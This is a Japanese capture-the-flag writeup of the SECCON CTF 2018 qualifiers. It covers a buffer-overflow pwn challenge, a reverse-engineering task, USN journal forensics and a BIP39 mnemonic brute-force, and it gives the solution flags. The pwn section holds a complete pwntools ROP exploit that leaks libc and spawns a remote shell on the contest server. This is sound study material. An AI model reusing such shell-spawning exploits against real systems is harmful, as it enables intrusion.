SECCON CTF 2018 QUALS writeup
SECCON CTF 2018 QUALS writeup
yharima
チームで参加.2535 pts で 28th でした.過去最高順位.
もしかしたら国内予選もワンちゃんあるのかもしれない…?
今回から後輩2名が参加して,6人体制だった.
Classic Pwn
よくあるスタックの BOF があり, EIP を奪って libc をリークしてシェルを立ち上げる問題.
何故かチームの誰も解いていなかった & 一応 pwn 担当なので自分が解いた.
ひとまず A
とかで埋め尽くすと EIP がとれることは確認.
また puts@plt などもあるので, GOT のアドレスもわかるので libc の base addr も計算できる.
また pop rdi
の gadget もあるので,1回目は pop rdi
=> puts@got
=> puts@plt
として libc のアドレスをリークさせる.
リークさせたあと,そのアドレスを使って system 関数のアドレスを計算する必要がある.
よくある手法だと stack piviot して bss などに任意のペイロード流して実行される,的な感じだけど,
今回は別に main に飛ばしてもっかい同じことをやれば良い.
なので,1回目は pop rdi
=> puts@got
=> puts@plt
=> main
として,
2回目は pop rdi
=> /bin/sh addr
=> system
とすれば良い.
(CTF) mbp:CTF yuta1024$ python classic_pwn.py [+] Opening connection to classic.pwn.seccon.jp on port 17354: Done [-] libc_base_addr = 0x7f1366771000 [*] Switching to interactive mode Have a nice pwn!! $ ls -l total 16 -rwxr-x--- 1 root classic 8872 Oct 23 02:37 classic -rw-r----- 1 root classic 44 Oct 23 02:37 flag.txt $ cat flag.txt SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
from pwn import * context.arch = 'amd64' con = remote('classic.pwn.seccon.jp', 17354) con.recvline() con.recvregex('Local Buffer >> ') payload = 'A' * 72 payload += pack(0x00400753) # pop rdi payload += pack(0x00601018) # puts@got payload += pack(0x00400520) # puts@plt payload += pack(0x004006a9) # main con.sendline(payload) con.recvline() msg = con.recvline().strip() libc_base_addr = unpack(msg + '\x00' * 2) - 0x6f690 print "[-] libc_base_addr = 0x%x" % libc_base_addr con.recvline() con.recvregex('Local Buffer >> ') payload = 'A' * 72 payload += pack(0x00400753) # pop rdi payload += pack(libc_base_addr + 0x18cd57) # /bin/sh payload += pack(libc_base_addr + 0x45390) # system con.sendline(payload) con.interactive()
Boguscrypt
実行してみるとどうも gethostbyaddr
に失敗して終了してしまう.
バイナリを読んでみると,以下のように 0x200007f を INET_AF で解決しようとしている.
0x080486b9 <+60>: mov DWORD PTR [esp+0x10],0x200007f 0x080486c1 <+68>: mov DWORD PTR [esp+0x8],0x2 0x080486c9 <+76>: mov DWORD PTR [esp+0x4],0x4 0x080486d1 <+84>: lea eax,[esp+0x10] 0x080486d5 <+88>: mov DWORD PTR [esp],eax 0x080486d8 <+91>: call 0x80484c0 <gethostbyaddr@plt>
途中まで読み間違えていたが,これは 127.0.0.2
の逆引きをしている.
当然 127.0.02
なんで引けないので,ひとまず localhost
がかえるように /etc/hosts
に追記して実行すると,
うまく動作して flag.txt
が吐かれる.しかしぐちゃぐちゃになってて何かおかしい.
キーを求められるのでそこかと思ったが,異なるキーをいれても結果は同じになった.
ということは, 127.0.0.2
の結果によるものだと思い,同封されている pcap を読む.
127.0.0.2 の解決をしているパケットがあり, cur10us4ndl0ngh0stn4m3
らしいので,これを /etc/hosts
に書いて実行するとフラグとなる.
SECCON{This flag is encoded by bogus routine}
History
なぜか解かれていなかったのでサクっとやった.
降ってきたファイルを file するとただの data だったので hexdump する.
$ hexdump -C J | head -10 00000000 60 00 00 00 02 00 00 00 55 ed 00 00 00 00 23 00 |`.......U.....#.| 00000010 61 08 00 00 00 00 01 00 d0 73 3f 01 00 00 00 00 |a........s?.....| 00000020 a4 df f6 d3 62 49 d1 01 00 01 00 00 00 00 00 00 |....bI..........| 00000030 00 00 00 00 20 00 00 00 22 00 3c 00 6e 00 67 00 |.... ...".<.n.g.| 00000040 65 00 6e 00 5f 00 73 00 65 00 72 00 76 00 69 00 |e.n._.s.e.r.v.i.| 00000050 63 00 65 00 2e 00 6c 00 6f 00 63 00 6b 00 00 00 |c.e...l.o.c.k...| 00000060 60 00 00 00 02 00 00 00 a7 56 00 00 00 00 01 00 |`........V......| 00000070 61 08 00 00 00 00 01 00 30 74 3f 01 00 00 00 00 |a.......0t?.....| 00000080 a4 df f6 d3 62 49 d1 01 02 00 00 00 00 00 00 00 |....bI..........| 00000090 00 00 00 00 20 00 00 00 20 00 3c 00 6e 00 67 00 |.... ... .<.n.g.|
ngen_service
なる怪しそうな文字列があるのでググると以下の volatility のプラグインが見つかる.
volatility/usnparser at master · tomspencer/volatility · GitHub
これっぽいので,使い方をしらべて実行すると大量にでる.
$ python vol.py --profile Win7SP1x64 -f ../../J usnparser --output=csv -CS > out-j.txt
なんか RENAME したやつが怪しいという話だったので csv に吐き出したファイルからそのあたりをawk/ grep すると,
"SEC.txt" RENAME_OLD_NAME "CON{.txt" RENAME_NEW_NAME "CON{.txt" RENAME_NEW_NAME & CLOSE "CON{.txt" RENAME_OLD_NAME "F0r.txt" RENAME_NEW_NAME "F0r.txt" RENAME_NEW_NAME & CLOSE "WmiApRpl_new.h" RENAME_OLD_NAME "WmiApRpl.h" RENAME_NEW_NAME "WmiApRpl.h" RENAME_NEW_NAME & CLOSE "WmiApRpl_new.ini" RENAME_OLD_NAME "WmiApRpl.ini" RENAME_NEW_NAME "WmiApRpl.ini" RENAME_NEW_NAME & CLOSE "F0r.txt" RENAME_OLD_NAME "ensic.txt" RENAME_NEW_NAME "ensic.txt" RENAME_NEW_NAME & CLOSE "ensic.txt" RENAME_OLD_NAME "s.txt" RENAME_NEW_NAME "s.txt" RENAME_NEW_NAME & CLOSE "s.txt" RENAME_OLD_NAME "_usnjrnl.txt" RENAME_NEW_NAME "_usnjrnl.txt" RENAME_NEW_NAME & CLOSE "_usnjrnl.txt" RENAME_OLD_NAME "2018}.txt" RENAME_NEW_NAME "2018}.txt" RENAME_NEW_NAME & CLOSE
とフラグっぽいものが出てきた.同じファイルの名前が変化しているよ思われるのでそのように awk/grepすると,
0xecfaL "SEC.txt" RENAME_OLD_NAME 0xecfaL "CON{.txt" RENAME_NEW_NAME 0xecfaL "CON{.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "CON{.txt" RENAME_OLD_NAME 0xecfaL "F0r.txt" RENAME_NEW_NAME 0xecfaL "F0r.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "F0r.txt" RENAME_OLD_NAME 0xecfaL "ensic.txt" RENAME_NEW_NAME 0xecfaL "ensic.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "ensic.txt" RENAME_OLD_NAME 0xecfaL "s.txt" RENAME_NEW_NAME 0xecfaL "s.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "s.txt" RENAME_OLD_NAME 0xecfaL "_usnjrnl.txt" RENAME_NEW_NAME 0xecfaL "_usnjrnl.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "_usnjrnl.txt" RENAME_OLD_NAME 0xecfaL "2018}.txt" RENAME_NEW_NAME 0xecfaL "2018}.txt" RENAME_NEW_NAME & CLOSE
なので, SECCON{F0rensics_usnjrnl2018}
がフラグ.
mnemonic
最初はまったくわからない.文字コード?とか思って色々調べてみるのさっぱりだめ.
後輩二人が mnemonic だから…という話をしていてふと,そういえばニーモニックなのかと思う.
最近 Monacoin のウォレットを作ったときに,問題のひらがな複数から何か生成するみたいなのがあったな…と思い当たる.
bip39 とかなんかそんな感じだったかとおもって bip39 のワードリストを漁り,問題のひらがなが含まれるか調べてみると何個かいれて全部ヒットした.
ということはこれかもと思い,問題のすでにハッシュ値がわかっているやつからハッシュ値を生成してみると…
$ cat index.js const bip39 = require('bip39'); const ret = bip39.mnemonicToSeedHex("ふじみ あさひ みのう いっち いがく とない はづき ますく いせえび たれんと おとしもの おどろかす ことし おくりがな ちょうし ちきゅう さんきゃく こんとん せつだん ちしき ぬいくぎ まんなか たんい そっと"); console.log(ret); $ node index.js 338c161dbdb47c570d5d75d5936e6a32178adde370b6774d40d97a51835d7fec88f859e0a6660891fc7758d451d744d5d3b1a1ebd1123e41d62d5a1550156b1f
と一致した.もうこれじゃん,と思うも短いハッシュのほうの生成方法がよくわからない.
試行錯誤するとどうも mnemonicToEntropy
を叩くと短い方のハッシュがでてきた.
ニーモニックのうち先頭の1つだけ ??
になっているので,まずワードリストから長い方のハッシュに一致するニーモニックを全探索する.
$ cat index.js const bip39 = require('bip39'); bip39.wordlists.JA.forEach((e) => { const mnemonic = e + " とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる"; const ret1 = bip39.mnemonicToSeedHex(mnemonic); if (ret1.startsWith("e9a")) { console.log(e); } }); $ node index.js はいれつ
ここまでわかればあとは mnemonicToEntropy をとって md5 にかけたものがフラグ.
$ cat index.js const bip39 = require('bip39'); const mnemonic = "はいれつ とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる"; const ret = bip39.mnemonicToEntropy(mnemonic, bip39.wordlists.JA); console.log(ret); $ node index.js c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f70 $ echo -n "c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f70" | md5 cda2cb1742d1b6fc21d05c879c263eec
なので SECCON{cda2cb1742d1b6fc21d05c879c263eec}
がフラグ(だったはず).
まとめ
kindvm 頑張っていたけど hint3 まで出せたところでタイムアップでした.
今回はなかなか頑張れた.国内予選出れたらいいな….わかったら追記します.
他のメンバーの writeup
追記(2018/11/08)
国内決勝出場権を得れました!!! :tada: